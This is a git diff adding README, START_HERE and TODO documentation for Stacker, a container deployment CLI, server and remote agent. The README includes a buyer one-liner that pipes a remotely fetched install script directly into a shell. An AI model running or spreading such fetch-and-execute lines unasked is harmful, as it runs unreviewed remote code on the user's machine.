│ │ 85+ MCP tools │◄────────│ health / logs / │ +│ status/logs │ │ Vault · AMQP │ HMAC │ restart / exec / │ +└──────────────┘ └──────────────────┘ │ deploy_app / proxy │ + │ └─────────────────────┘ + ▼ + Terraform + Ansible ──► Cloud + (Hetzner, DO, AWS, Linode) +``` + +--- + + + + +## 1. Stacker CLI + +The end-user tool. No server required for local deploys. + +### Commands + +| Command | Description | +|---------|-------------| +| `stacker init` | Detect project type, generate `stacker.yml` + `.stacker/` artifacts | +| `stacker deploy` | Build & deploy the stack (local, cloud, or server). Cloud deploys also install a local SSH backup key when possible. `--runtime kata\|runc` selects container runtime | +| `stacker status` | Show running containers and health | +| `stacker logs` | View container logs (`--follow`, `--service`, `--tail`) | +| `stacker secrets` | Manage local `.env` secrets or remote Vault-backed `service` / `server` secrets | +| `stacker list deployments` | List deployments on the Stacker server | +| `stacker destroy` | Tear down the deployed stack | +| `stacker config validate` | Validate `stacker.yml` syntax | +| `stacker config show` | Show resolved configuration | +| `stacker config example` | Print a full commented reference | +| `stacker config setup cloud` | Guided cloud deployment setup | +| `stacker config setup ai` | Configure AI provider, endpoint, model, and tasks | +| `stacker ai ask "question"` | Ask the AI about your stack | +| `stacker proxy add` | Add a reverse-proxy domain entry | +| `stacker proxy detect` | Auto-detect existing reverse-proxy containers | +| `stacker cloud firewall add` | Open cloud-provider firewall ports without SSH, for example `--public-ports 8000/tcp` on Hetzner | +| `stacker cloud firewall remove` | Remove Stacker-managed cloud-provider firewall rules | +| `stacker cloud firewall list` | List cloud-provider firewall rules for a server | +| `stacker ssh-key generate` | Generate a new SSH key pair for a server (Vault-backed) | +| `stacker ssh-key show` | Display the public SSH key for a server | +| `stacker ssh-key upload` | Upload an existing SSH key pair for a server | +| `stacker ssh-key inject` | Repair Vault-key trust by using an already-working private key to update `authorized_keys` | +| `stacker service add` | Add a service from the template catalog to `stacker.yml` | +| `stacker service list` | List available service templates (20+ built-in) | +| `stacker agent health` | Check Status Panel agent connectivity and health | +| `stacker agent status` | Display agent snapshot — containers, versions, uptime | +| `stacker agent logs ` | Retrieve container logs from the remote agent | +| `stacker agent restart ` | Restart a container via the agent | +| `stacker agent deploy-app` | Deploy or update an app container on the target server. `--runtime kata\|runc` selects container runtime; `--env ` selects the deploy environment/profile | +| `stacker agent remove-app` | Remove an app container (with optional volume/image cleanup) | +| `stacker agent configure-proxy` | Configure Nginx Proxy Manager via the agent; use `--no-ssl` for plain HTTP hosts (credentials are resolved from Vault and are auto-seeded for managed Status Panel + NPM deploys) | +| `stacker agent configure-firewall` | Configure guest OS firewall rules via the Status Panel agent; use `stacker cloud firewall` for provider firewalls | +| `stacker agent history` | Show recent command execution history | +| `stacker agent exec` | Execute a raw agent command with JSON parameters | +| `stacker pipe scan` | Discover local endpoints/resources from running containers (when target is `local`) | +| `stacker pipe scan --containers [filter]` | Discover local endpoints/resources for matching containers | +| `stacker pipe scan --app ` | Probe a remote app for API endpoints | +| `stacker pipe create ` | Create a data pipe between two containers (interactive) | +| `stacker pipe list` | List pipe instances for the current deployment | +| `stacker pipe activate ` | Activate a pipe (start listening for triggers) | +| `stacker pipe deactivate ` | Pause an active pipe | +| `stacker pipe trigger ` | One-shot pipe execution with optional input data | +| `stacker pipe deploy ` | Promote a local pipe to a remote deployment | +| `stacker pipe history ` | View execution history for a pipe | +| `stacker pipe replay ` | Re-run a previous pipe execution | +| `stacker target [local\|cloud\|server]` | Switch deployment target mode | +| `stacker env [local\|dev\|prod]` | Show or persist the active deploy environment/profile used by app-only updates | +| `stacker submit` | Package current stack and submit to marketplace for review | +| `stacker marketplace status` | Check submission status for your marketplace templates | +| `stacker marketplace logs ` | Show review comments and history for a submission | +| `stacker login` | Authenticate with the TryDirect platform | +| `stacker update` | Check for updates and self-update | + +### Deploy targets + +```bash +stacker deploy --target local # docker compose up (default) +stacker deploy --target cloud # Terraform + Ansible → cloud provider +stacker deploy --target server # deploy to existing server via SSH +stacker deploy --dry-run # preview generated files without executing +``` + +After a successful cloud deploy, Stacker creates or reuses a local backup key at +`~/.config/stacker/ssh/server-_ed25519` (or under `$XDG_CONFIG_HOME`) and +authorizes its public key on the server when possible. The CLI prints a normal +`ssh -i ...` command, while the Vault private key remains server-side. + +When a cloud/server deploy includes `deploy.registry` credentials (or the +equivalent `STACKER_DOCKER_*` environment variables), Stacker stores that +registry auth securely and reuses it for later Status-managed image refreshes +such as `stacker agent deploy-app`. This keeps private-image redeploys working +without depending on host-level `docker login` state or mounting `/root/.docker` +into the agent container. + +### Secrets workflow + +```bash +# Local project .env secret +stacker secrets set DB_PASSWORD=supersecret + +# Discover valid remote deployable service/app targets first +stacker secrets apps + +# Remote service secret used at render/deploy time for one target +stacker secrets set S3_SECRET_KEY \ + --scope service \ + --service uploader \ + --body supersecret + +# Remote server secret for future host-level consumers +stacker secrets set NPM_TOKEN \ + --scope server \ + --server-id 42 \ + --body-file .npm-token + +# Remote reads are metadata-only in v1 +stacker secrets list --scope service --service uploader --json +stacker secrets get S3_SECRET_KEY --scope service --service uploader --json + +# Push stored remote secrets into the target's runtime env +stacker secrets push --service uploader +stacker secrets push --service uploader --env prod +# Aliases: stacker secrets deploy --service uploader +# stacker secrets apply --service uploader + +``` + +- Local mode remains the default and reads/writes the project `.env` file. +- Remote mode is enabled only with `--scope service` or `--scope server`. +- Service-scoped remote commands default `--project` from `stacker.yml -> project.identity`; `--project` still overrides it explicitly. +- Service-scoped secrets target deployable service/app codes listed by `stacker secrets apps`, including registered `stacker.yml` services and supported image-backed Compose services after a deploy/update sync. +- Service-scoped secrets are merged only into the matching rendered service/app env at deploy time. +- `stacker secrets push --service ` applies stored service secrets to the remote runtime env without changing secret values. Use `--env ` for a one-off environment selection, or `stacker env ` to persist the active environment/profile for future app-only updates. Use `--force` only when the remote env drift check reports an out-of-band change. +- Remote `get` and `list` do **not** return plaintext values in v1. +- MCP env inspection now exposes explicit secure metadata for Vault-backed + variables: `get_app_env_vars` keeps the redacted + `environment_variables` object for compatibility and also returns + `environment_entries[]` with `secure`, `redacted`, and `source` fields. + +Remote deploys render runtime env into one canonical host file: +`/home/trydirect/project/.env`. Generated compose uses `env_file: .env`, so the +path is relative to the deployed compose file. To inspect paths and contributing +layers without exposing values, run: + +```bash +stacker config show --resolved +``` + +For app-only updates, `stacker agent deploy-app ` resolves the deploy +environment from `--env`, then `.stacker/active-env`, then `stacker.yml`. If +`/docker//compose.yml` exists, Stacker uses the app-local service +definition for that target but merges it into the full project-level compose +file before sending it to the agent. This prevents app-only updates from +replacing the remote stack compose with a single-service compose file. Any +app-local `.env` referenced by that compose file is uploaded in the config +bundle, and Stacker appends the Vault-rendered service secrets for the same +target to that file before the agent writes it on the server. Repeated app-only +updates replace the prior `# stacker-render ...` block in that file instead of +stacking duplicate rendered secret sections. + +### Marketplace workflow (for stack developers) + +```bash +stacker deploy --target local # 1. test locally +stacker deploy --target server # 2. test on remote server +stacker submit # 3. submit for marketplace review +stacker marketplace status # 4. check review status +# Stack is auto-published once approved by the review team +``` + +### Marketplace install (for buyers) + +```bash +# Option A: Deploy from your laptop to a remote server +stacker deploy my-stack --target server --host 1.2.3.4 + +# Option B: Run directly on the target server (one-liner) +curl -sL https://marketplace.try.direct//install.sh | sh +``` + +### Key features + +- **Auto-detection** — identifies Node, Python, Rust, Go, PHP, static sites from project files +- **Dockerfile generation** — produces optimised multi-stage Dockerfiles per app type +- **Docker Compose generation** — wires app + services + proxy + monitoring +- **Remote service secrets** — Vault-backed service/app target secrets are metadata-only when read and isolated to the selected service +- **AI-assisted config** — scans project, calls LLM to generate tailored `stacker.yml` +- **AI troubleshooting** — on deploy failure, suggests fixes via AI or deterministic fallback hints +- **Service catalog** — 20+ built-in service templates (Postgres, Redis, WordPress, etc.) — add with `stacker service add` +- **AI service addition** — ask `stacker ai ask --write "add wordpress"` and the AI uses the template catalog +- **Agent control** — `stacker agent` subcommand to manage remote Status Panel agents (health, logs, restart, deploy, proxy) with `--json` output +- **SSH key management** — generate, view, upload, and repair server SSH keys + (Vault-backed), with automatic local backup SSH access after cloud deploy +- **Reverse proxy** — auto-detects Nginx / Nginx Proxy Manager, configures domains + SSL +- **Cloud deployment** — Hetzner, DigitalOcean, AWS, Linode, with provider firewall operations and paused/failed install IP retention +- **MCP Server** — 85+ tools, including deployment, agent control, config, proxy, firewall, and remote service secret management +- **Marketplace** — submit stacks for review, auto-publish on approval, check status from CLI +- **Buyer install** — purchase tokens, one-liner install scripts, agent self-registration + +--- + +## 2. Stacker Server + +The backend platform powering the Stack Builder UI, REST API, deployment orchestration, and MCP server for AI agents. + +### Setup + +```bash +cp configuration.yaml.dist configuration.yaml # edit database, vault, AMQP settings +cp access_control.conf.dist access_control.conf +export DATABASE_URL=postgres://postgres:postgres@localhost:5432/stacker +sqlx migrate run +cargo run --bin server # http://127.0.0.1:8000 +``` + +### Key API endpoints + +| Endpoint | Description | +|----------|-------------| +| `POST /project` | Create a project from a stack definition | +| `POST /{id}/deploy/{cloud_id}` | Deploy to a cloud provider | +| `GET /project/{id}/apps` | List apps in a project | +| `DELETE /project/{id}/apps/{code}` | Remove an app from a project | +| `PUT /project/{id}/apps/{code}/env` | Update app environment variables | +| `GET /project/{id}/apps/{code}/secrets` | List service-scoped secret metadata for an app | +| `PUT /project/{id}/apps/{code}/secrets/{name}` | Create or update a Vault-backed service secret | +| `PUT /project/{id}/apps/{code}/ports` | Update port mappings | +| `PUT /project/{id}/apps/{code}/domain` | Update domain / SSL settings | +| `GET /server/{id}/secrets` | List server-scoped secret metadata | +| `PUT /server/{id}/secrets/{name}` | Create or update a Vault-backed server secret | +| `POST /api/v1/commands` | Enqueue a command for the Status Panel agent | +| `POST /api/templates` | Create or update a marketplace template (creator) | +| `POST /api/templates/{id}/submit` | Submit template for marketplace review | +| `GET /api/templates/mine` | List current user's template submissions | +| `GET /api/v1/marketplace/install/{token}` | Generate install.sh script for buyers | +| `GET /api/v1/marketplace/download/{token}` | Download stack archive (purchase token validated) | +| `POST /api/v1/marketplace/agents/register` | Agent self-registration after install | +| `POST /api/v1/pipes/templates` | Create a reusable pipe template (source→target mapping) | +| `GET /api/v1/pipes/templates` | List pipe templates (with optional filters) | +| `POST /api/v1/pipes/instances` | Create a pipe instance for a deployment | +| `GET /api/v1/pipes/instances` | List pipe instances by deployment hash | +| `PUT /api/v1/pipes/instances/{id}/status` | Update pipe instance status (active/paused) | + +### MCP Server + +Stacker exposes **52+ Model Context Protocol tools** over WebSocket, enabling AI agents (Claude, GPT, etc.) to manage infrastructure programmatically: + +- Project & deployment management +- Container operations (start, stop, restart, exec) +- Log analysis & error summaries +- Vault config read/write +- Proxy configuration +- App environment & port management +- Server resource monitoring +- Docker Compose generation & preview +- Agent control (deploy app, remove app, configure proxy, get status) +- Firewall management (iptables rules via Status Panel or SSH) + +### Key integrations + +- **HashiCorp Vault** — secrets and config storage, synced to deployments +- **RabbitMQ** — deployment status updates, event-driven orchestration +- **TryDirect User Service** — OAuth, marketplace templates, payment validation +- **Marketplace** — publish and deploy community stacks + +--- + + +## 3. Status Panel Agent + +A lightweight agent deployed alongside your application on the target server. It runs as a Docker container and communicates with Stacker Server using a **pull-only architecture** — the agent polls for commands, Stacker never dials out. + +### How it works + +``` +1. UI/API creates a command → POST /api/v1/commands +2. Command stored in DB queue → commands + command_queue tables +3. Agent polls for work → GET /api/v1/agent/commands/wait/{hash} +4. Agent executes locally → Docker API on the host +5. Agent reports result → POST /api/v1/agent/commands/report +``` + +All agent requests are **HMAC-signed** (`X-Agent-Signature` header) using a token stored in Vault. + +### Supported commands + +| Command | Description | +|---------|-------------| +| `health` | Check container health status (single or all) | +| `logs` | Fetch container logs (stdout/stderr, with limits) | +| `restart` | Restart a container | +| `deploy_app` | Deploy or update an app container | +| `remove_app` | Remove an app container | +| `configure_proxy` | Create/update/delete reverse-proxy entries | +| `configure_firewall` | Configure iptables firewall rules (add/remove/list/flush) | +| `stacker.exec` | Execute a command inside a running container (with security blocklist) | +| `stacker.server_resources` | Collect server resource metrics (CPU, memory, disk, network) | +| `apply_config` | Pull config from Vault and apply to a running container | +| `probe_endpoints` | Discover API endpoints on containers (OpenAPI, REST, HTML forms, GraphQL) | +| `activate_pipe` | Activate a pipe instance — start polling/webhook triggers | +| `deactivate_pipe` | Deactivate a running pipe instance | +| `trigger_pipe` | One-shot pipe execution: fetch source data → map fields → post to target | + +### Agent registration + +```bash +# Agent self-registers on first boot (no auth required) +POST /api/v1/agent/register + { "deployment_hash": "abc123", "capabilities": [...], "system_info": {...} } + → { "agent_id": "...", "agent_token": "..." } +``` + +### Token rotation + +```bash +cargo run --bin console -- Agent rotate-token \ + --deployment-hash \ + --new-token +``` + +--- + +## Database migrations + +```bash +sqlx migrate run # apply +sqlx migrate revert # rollback +``` + +## Testing + +```bash +cargo test # all tests (772+ unit, 69 security integration) +cargo test user_service_client # User Service connector +cargo test marketplace_webhook # Marketplace webhook flows +cargo test deployment_validator # Deployment validation +cargo test --test security_cli # CLI endpoint IDOR security tests +``` + +--- + +## Kata Containers (Hardware Isolation) + +Stacker supports [Kata Containers](https://katacontainers.io/) as an alternative runtime, providing VM-level isolation for each container using hardware virtualization (KVM). + +**KVM requirement** — Kata needs nested or bare-metal KVM. Hetzner dedicated-CPU servers (CCX line) expose `/dev/kvm` out of the box, making them an ideal deployment target. + +```bash +stacker deploy --runtime kata # deploy the current stack with Kata isolation +stacker agent deploy-app --runtime kata # deploy a single app container with Kata +``` + +See [docs/kata/](docs/kata/README.md) for the full setup guide, network constraints, and monitoring reference. Automated provisioning (Ansible + Terraform for Hetzner CCX) is available via the TFA infrastructure toolkit. + +--- + +## Documentation + +- [stacker.yml reference](docs/STACKER_YML_REFERENCE.md) — full configuration schema +- [CLI implementation plan](docs/STACKER_CLI_PLAN.md) — architecture and design decisions +- [Changelog](CHANGELOG.md) — release history +- [Kata Containers guide](docs/kata/README.md) — hardware-isolated containers with KVM + +--- + +## License + +[MIT](LICENSE) diff --git a/stacker/stacker/START_HERE.md b/stacker/stacker/START_HERE.md new file mode 100644 index 0000000..ea7a0d3 --- /dev/null +++ b/stacker/stacker/START_HERE.md @@ -0,0 +1,292 @@ +# Stacker Server Endpoint Implementation - Start Here + +This directory contains 4 comprehensive documentation files for implementing two new endpoints: +- **POST /api/v1/auth/login** (email + password → session_token + user's deployments) +- **POST /api/v1/agents/link** (session_token + deployment_id + fingerprint → agent credentials) + +## 📖 Documentation Files + +### 1. **🚀 QUICK_REFERENCE.md** - RECOMMENDED START HERE +**Time to read**: 10 minutes +**Best for**: Implementation planning and quick pattern lookup + +**Contains**: +- Summary of all key patterns +- Implementation checklists for both endpoints +- Error response format +- Testing examples with curl +- Database models needed + +**👉 Start here for**: Understanding what you need to do + +--- + +### 2. **💻 CODE_SNIPPETS.md** - COPY-PASTE READY CODE +**Time to read**: 15 minutes (to find what you need) +**Best for**: Implementation - copy-paste production-ready code + +**Contains**: +- Complete `src/routes/auth/login.rs` handler +- Complete `src/routes/agent/link.rs` handler +- All file modifications needed +- Database migration SQL +- VaultClient extensions + +**👉 Use this for**: Copying exact code to implement + +--- + +### 3. **📚 IMPLEMENTATION_GUIDE.md** - DEEP REFERENCE +**Time to read**: 45 minutes (or read as needed) +**Best for**: Understanding patterns, troubleshooting, adapting code + +**Contains**: +- Route structure & registration explained +- Complete agent registration flow breakdown +- All 6 authentication methods explained +- Database query patterns with examples +- Response/error handling with builder pattern +- Vault client token storage with retry logic +- Audit logging patterns +- Complete handler pattern example +- Middleware stack composition + +**👉 Use this for**: "Why does this pattern exist?" and troubleshooting + +--- + +### 4. **📋 ANALYSIS_README.md** - PROJECT OVERVIEW +**Time to read**: 15 minutes +**Best for**: Understanding the big picture and implementation roadmap + +**Contains**: +- Master index +- Key findings from codebase analysis +- Files changed/created summary +- Quick start implementation path +- Architecture patterns checklist +- Dependencies required + +**👉 Use this for**: Project-level overview and quick reference + +--- + +## 🎯 Quick Implementation Path (30 minutes) + +``` +1. Read QUICK_REFERENCE.md (10 min) + ↓ +2. Copy code from CODE_SNIPPETS.md (10 min) + ↓ +3. Run database migrations & test (10 min) + ↓ +✅ Done! Both endpoints working +``` + +If you get stuck: +→ Check IMPLEMENTATION_GUIDE.md for explanations +→ Refer to existing route handlers in `src/routes/` + +--- + +## 🚀 One-Minute Summary + +**Pattern**: Scoped routes with authenticated user extraction +**Auth**: JWT/OAuth/Cookie/Agent tokens injected via middleware +**DB**: sqlx queries returning Result +**Responses**: JsonResponse builder pattern with error methods +**Tokens**: 86-char random strings, async storage in Vault/DB +**Logging**: Audit logs with details, IP address, timestamps + +--- + +## 📝 Implementation Checklist + +### Login Endpoint +- [ ] Create `src/routes/auth/login.rs` (copy from CODE_SNIPPETS) +- [ ] Create `src/routes/auth/mod.rs` +- [ ] Create `src/db/user.rs` with `fetch_by_email()` +- [ ] Update `src/routes/mod.rs` to add auth module +- [ ] Update `src/startup.rs` to register route +- [ ] Run database migration for users table +- [ ] Test with curl POST /api/v1/auth/login + +### Link Endpoint +- [ ] Create `src/routes/agent/link.rs` (copy from CODE_SNIPPETS) +- [ ] Update `src/routes/agent/mod.rs` +- [ ] Update `src/startup.rs` to register route +- [ ] Update `src/db/` if needed for session queries +- [ ] Test with curl POST /api/v1/agents/link + +--- + +## 🧪 Testing + +### Login Test +```bash +curl -X POST http://localhost:8080/api/v1/auth/login \ + -H "Content-Type: application/json" \ + -d '{"email":"user@example.com","password":"pass123"}' +``` + +### Link Test +```bash +curl -X POST http://localhost:8080/api/v1/agents/link \ + -H "Content-Type: application/json" \ + -d '{ + "session_token":"", + "deployment_id":1, + "fingerprint":"hash" + }' +``` + +Expected: 200 OK with credentials + +--- + +## 💡 Key Patterns in Codebase + +1. **Routes**: Scoped with `web::scope()` + `#[post]`/`#[get]` macros +2. **Auth**: User injected via `web::ReqData>` +3. **DB**: All functions return `Result` +4. **Responses**: `JsonResponse::build().set_item(data).ok("msg")` +5. **Errors**: `.bad_request()`, `.not_found()`, `.forbidden()`, `.internal_server_error()` +6. **Tokens**: 86-char random, stored async with retry +7. **Audit**: `AuditLog::new(...).with_details(...).with_ip(...)` + +--- + +## 📁 Files to Create/Modify + +### New Files +- `src/routes/auth/mod.rs` +- `src/routes/auth/login.rs` +- `src/routes/agent/link.rs` +- `src/db/user.rs` +- `migrations/[DATE]_create_users_sessions.sql` + +### Modified Files +- `src/routes/mod.rs` - Add auth module +- `src/routes/agent/mod.rs` - Add link handler +- `src/startup.rs` - Register routes +- `src/models/user.rs` - Add password_hash field + +All changes are in CODE_SNIPPETS.md! + +--- + +## ❓ FAQ + +**Q: Where's the authentication?** +A: Middleware automatically extracts JWT/OAuth/Cookie tokens. See IMPLEMENTATION_GUIDE.md section 3. + +**Q: How do I store sessions?** +A: Use database (recommended) or Vault. CODE_SNIPPETS.md shows both approaches. + +**Q: What's with the 86-char tokens?** +A: Pattern from existing agent registration. Provides good entropy with alphanumeric + dash/underscore. + +**Q: How do errors work?** +A: JsonResponse builder with error methods. Returns appropriate HTTP status codes. See QUICK_REFERENCE.md. + +**Q: Do I need Vault?** +A: For agents (existing pattern). For sessions, database is simpler. See CODE_SNIPPETS.md. + +**Q: How do I verify the user owns the deployment?** +A: Check `if d.user_id.as_deref() != Some(&user_id) { forbidden }`. See QUICK_REFERENCE.md. + +--- + +## 🔗 File Relationships + +``` +Login Endpoint +├── POST /api/v1/auth/login +├── Routes: src/routes/auth/login.rs +├── DB: src/db/user.rs (fetch by email) +├── Response: session_token + user + deployments +└── Uses: JsonResponse, AuditLog + +Link Endpoint +├── POST /api/v1/agents/link +├── Routes: src/routes/agent/link.rs +├── Auth: session_token validation +├── DB: deployment fetch + verify ownership +├── Response: agent_id + credentials +└── Uses: JsonResponse, AuditLog, Vault +``` + +--- + +## 📚 Recommended Reading Order + +1. **This file** (1 min) ← You are here +2. **QUICK_REFERENCE.md** (10 min) +3. **CODE_SNIPPETS.md** (copy what you need) +4. **Refer to IMPLEMENTATION_GUIDE.md** as needed + +--- + +## 🎓 Learning the Codebase + +If you want to understand the codebase patterns: + +1. **Routes**: `src/routes/agent/register.rs` (excellent example) +2. **Auth**: `src/middleware/authentication/` (how tokens are extracted) +3. **DB**: `src/db/deployment.rs` (query patterns) +4. **Responses**: `src/helpers/json.rs` (JsonResponse builder) +5. **Middleware**: `src/startup.rs` (middleware stack) + +--- + +## ✅ Validation Checklist + +After implementing, verify: +- [ ] Both endpoints respond with 200 OK +- [ ] Login returns session_token + user + deployments +- [ ] Link returns agent_id + credentials + token +- [ ] Invalid credentials return 403 Forbidden +- [ ] Missing fields return 400 Bad Request +- [ ] Unauthorized users return 403 Forbidden +- [ ] Database migrations run successfully +- [ ] Audit logs created for both actions +- [ ] Token generated (86 characters) + +--- + +## 🆘 Troubleshooting + +**"Route not found"** +→ Check startup.rs scope registration + +**"User not found"** +→ Ensure users table created and user exists + +**"Invalid credentials"** +→ Check password hashing (bcrypt) + +**"Deployment not found"** +→ Verify deployment belongs to user + +**"Unauthorized"** +→ Check session token validity and user ownership + +See IMPLEMENTATION_GUIDE.md for detailed error handling patterns. + +--- + +## 📞 Next Steps + +1. ✅ Read QUICK_REFERENCE.md (10 min) +2. ✅ Copy code from CODE_SNIPPETS.md (10 min) +3. ✅ Update files and run migrations (10 min) +4. ✅ Test with curl (5 min) +5. 🎉 Done! + +**Total time**: ~35 minutes + +--- + +**Location**: `/Users/vasilipascal/work/try.direct/stacker/` + +Good luck! 🚀 diff --git a/stacker/stacker/TODO.md b/stacker/stacker/TODO.md new file mode 100644 index 0000000..3b7755f --- /dev/null +++ b/stacker/stacker/TODO.md @@ -0,0 +1,1266 @@ +# TODO: Stacker Marketplace Payment Integration + +> Canonical note: keep all Stacker TODO updates in this file (`stacker/TODO.md`); do not create or update a separate `STACKER_TODO.md` going forward. + +--- + +## Marketplace Developer Flow: `stacker submit` → review → auto-publish + +### CLI Commands (v0.2.6) +- [x] **`stacker submit`** — Package and upload current stack to Stacker Server for marketplace review + - Reads stacker.yml for metadata, derives slug from name + - Creates/updates template via `POST /api/templates`, submits via `POST /api/templates/{id}/submit` + - Prints success message with `stacker marketplace status` hint + - Supports: `--version`, `--description`, `--category`, `--plan-type`, `--price` +- [x] **`stacker marketplace status`** — List all submissions by current developer + - Calls `GET /api/templates/mine` + - Display table: STACK | VERSION | STATUS | SUBMITTED + - Statuses: `pending_review`, `in_review`, `approved`, `rejected`, `published` +- [x] **`stacker marketplace status `** — Show detail for one submission + - Filters by name or slug, shows status, submitted date, reviewer reason +- [x] **`stacker marketplace logs `** — Show review history with decisions/reasons +- [x] **StackerClient methods**: `marketplace_create_or_update()`, `marketplace_submit()`, `marketplace_list_mine()`, `marketplace_reviews()` +- [x] **Response types**: `MarketplaceTemplateInfo`, `MarketplaceReviewInfo` + +### Server API — Marketplace Submissions (pre-existing) +- [x] `POST /api/templates` — Create/update template (creator.rs) +- [x] `POST /api/templates/{id}/submit` — Submit for review (creator.rs) +- [x] `GET /api/templates/mine` — List developer's submissions (creator.rs) +- [x] `PUT /api/admin/templates/{id}/review` — Admin approves/rejects (admin.rs) +- [x] Auto-publish logic: on approval, `stack_template` updated with `published_at` + +### Buyer Flow — Remote Deploy from Laptop +- [ ] **`stacker deploy --target server --host `** — Deploy marketplace stack to remote server (needs marketplace stack resolution in deploy strategy) +- [x] `GET /api/v1/marketplace/download/{purchase_token}` — Serve stack archive (placeholder, needs User Service token validation) + +### Buyer Flow — curl one-liner (direct on server) +- [x] `GET /api/v1/marketplace/install/{purchase_token}` — Generate install.sh script + - Script installs: Stacker CLI + Status Panel agent + - Script downloads stack archive using purchase token + - Status Panel calls `stacker deploy` locally (no Install Service involved) +- [x] `POST /api/v1/marketplace/agents/register` — Agent self-registration endpoint + - Generates agent_id, agent_token, deployment_hash + - TODO: validate purchase token with User Service, persist agent in DB, call `/marketplace/link-deployment` + +--- + +## ✅ Recent Fixes + +### May 15, 2026 - Remote runtime `.env` merge strategy hardening +- [x] Fixed `stacker agent deploy-app` to keep the shared project `.env` in the deploy-app config bundle when the target service topology uses root `env_file: .env` +- [ ] Replace append-based runtime env merge with **key-aware env merge** + - Parse existing/base `.env` content into key/value pairs instead of concatenating text blocks + - Build one final deduplicated runtime `.env` file per actual runtime path + - Eliminate duplicate keys such as `PORT=...` appearing twice after merge +- [ ] Define and document strict runtime env precedence + - base authoring env from `stacker.yml env_file` + - server-scope secrets + - service-scope secrets + - generated runtime keys such as `DEPLOYMENT_HASH` +- [ ] Add deletion semantics for rendered env output + - when a rendered/secret-backed key is removed, the next render must remove it from the target runtime `.env` + - do not preserve stale keys just because they existed in the previous file +- [ ] Split merge behavior by runtime topology, not by secret scope + - shared `/home/trydirect/project/.env` must be rendered as one canonical deduplicated file + - app-local env files should only be used when the compose topology truly points to app-local env files +- [ ] Add regression tests for runtime env merge behavior + - shared root `.env` survives `stacker agent deploy-app` + - app-local `.env` merge still works + - override precedence is deterministic + - removed keys disappear on next render + - registry auth never leaks into runtime `.env` + +### May 2, 2026 - Vault-backed NPM credential contract +- [x] Status Panel `configure_proxy` no longer relies on hard-coded `admin@example.com` / `changeme` defaults +- [x] Installer contract now emits `STACKER_SERVER_ID` and a host-scoped Vault path for Nginx Proxy Manager credentials +- [x] Deployment-scoped Vault tokens can be extended with an exact read grant for `secret/{env}/status_panel/hosts/{server_id}/npm_credentials` +- [x] Status Panel linking now advertises `npm_credential_source=vault`; Stacker surfaces it in deployment capabilities and can gate `configure_proxy` with `STACKER_CONFIGURE_PROXY_CAPABILITY_MODE=warn|enforce` +- [x] Rollout order: ship Status Panel reader → provision installer secret/policy → re-link agents so capabilities are refreshed → keep Stacker in `warn` mode → switch to `enforce` after all active agents report `npm_credential_source=vault` +- [ ] Future Vault hardening: expose `vault.try.direct` for Status Panel agents behind identity-based access (prefer mTLS; a private mesh or tunnel is also acceptable) instead of relying on static source-IP allowlists. Keep Vault tokens short-lived and path-scoped to the exact Status Panel host/deployment secrets they need. + +### February 16, 2026 - CORS Headers Fix +- [x] Fixed CORS configuration to properly support Authorization header with credentials +- [x] Changed from whitelist (`allowed_headers(vec![...])`) to `.allow_any_header()` + `.expose_any_header()` +- [x] Resolves browser console warning about Authorization header not being covered + +## 🚨 CRITICAL BUGS - ENV VARS NOT SAVED TO project_app + +> **Date Identified**: 2026-02-02 +> **Priority**: P0 - Blocks user deployments +> **Status**: ✅ FIXED (2026-02-02) + +### Bug 1: .env config file content not parsed into project_app.environment + +**File**: `src/project_app/mapping.rs` + +**Problem**: When users edited the `.env` file in the Config Files tab (instead of using the Environment form fields), the `params.env` was empty `{}`. The `.env` file content in `config_files` was never parsed into `project_app.environment`. + +**Fix Applied**: +1. Added `parse_env_file_content()` function to parse `.env` file content +2. Supports both `KEY=value` (standard) and `KEY: value` (YAML-like) formats +3. Modified `ProjectAppPostArgs::from()` to: + - Extract and parse `.env` file content from `config_files` + - If `params.env` is empty, use parsed `.env` values for `project_app.environment` + - `params.env` (form fields) takes precedence if non-empty + +### Bug 2: `create.rs` looks for nested `parameters.parameters` + +**File**: `src/routes/command/create.rs` lines 145-146 + +**Status**: ⚠️ MITIGATED - The fallback path at lines 155-158 uses `req.parameters` directly which now works with the mapping.rs fix. Full fix would simplify the code but is lower priority. + +### Bug 3: Image not provided in parameters - validation fails + +**File**: `src/services/project_app_service.rs` validate_app() + +**Problem**: When user edits config files via the modal, parameters don't include `image`. The `validate_app()` function requires non-empty `image`, causing saves to fail with "Docker image is required". + +**Root Cause**: The app's `dockerhub_image` is stored in User Service's `app` table and `request_dump`, but was never passed to Stacker. + +**Fix Applied (2026-02-02)**: +1. **User Service** (`app/deployments/services.py`): + - Added `_get_app_image_from_installation()` helper to extract image from `request_dump.apps` + - Modified `trigger_action()` to enrich parameters with `image` before calling Stacker + - Logs when image is enriched or cannot be found + +2. **Stacker** (`src/project_app/mapping.rs`): + - Added `parse_image_from_compose()` as fallback to extract image from docker-compose.yml + - If no image in params and compose content provided, extracts from compose + +3. **Comprehensive logging** added throughout: + - `create.rs`: Logs incoming parameters, env, config_files, image + - `upsert.rs`: Logs project lookup, app exists/merge, final project_app + - `mapping.rs`: Logs image extraction from compose + - `project_app_service.rs`: Logs validation failures with details + +### Verification Tests Added: +- [x] `test_env_config_file_parsed_into_environment` - YAML-like format +- [x] `test_env_config_file_standard_format` - Standard KEY=value format +- [x] `test_params_env_takes_precedence` - Form fields override file +- [x] `test_empty_env_file_ignored` - Empty files don't break +- [x] `test_custom_config_files_saved_to_labels` - Config files preserved + +--- + +## Context +Per [PAYMENT_MODEL.md](/PAYMENT_MODEL.md), Stacker now sends webhooks to User Service when templates are published/updated. User Service owns the `products` table for monetization, while Stacker owns `stack_template` (template definitions only). + +### New Open Questions (Status Panel & MCP) + +**Status**: ✅ PROPOSED ANSWERS DOCUMENTED +**See**: [OPEN_QUESTIONS_RESOLUTIONS.md](docs/OPEN_QUESTIONS_RESOLUTIONS.md) + +**Questions** (awaiting team confirmation): +- Health check contract per app: exact URL/expected status/timeout that Status Panel should register and return. +- Per-app deploy trigger rate limits: allowed requests per minute/hour to expose in User Service. +- Log redaction patterns: which env var names/secret regexes to strip before returning logs via Stacker/User Service. +- Container→app_code mapping: confirm canonical source (deployment_apps.metadata.container_name) for Status Panel health/logs responses. + +**Current Proposals**: +1. **Health Check**: `GET /api/health/deployment/{deployment_hash}/app/{app_code}` with 10s timeout +2. **Rate Limits**: Deploy 10/min, Restart 5/min, Logs 20/min (configurable by plan tier) +3. **Log Redaction**: 6 pattern categories + 20 env var blacklist (regex-based) +4. **Container Mapping**: `app_code` is canonical; requires `deployment_apps` table in User Service + +### Status Panel Command Payloads (proposed) +- Commands flow over existing agent endpoints 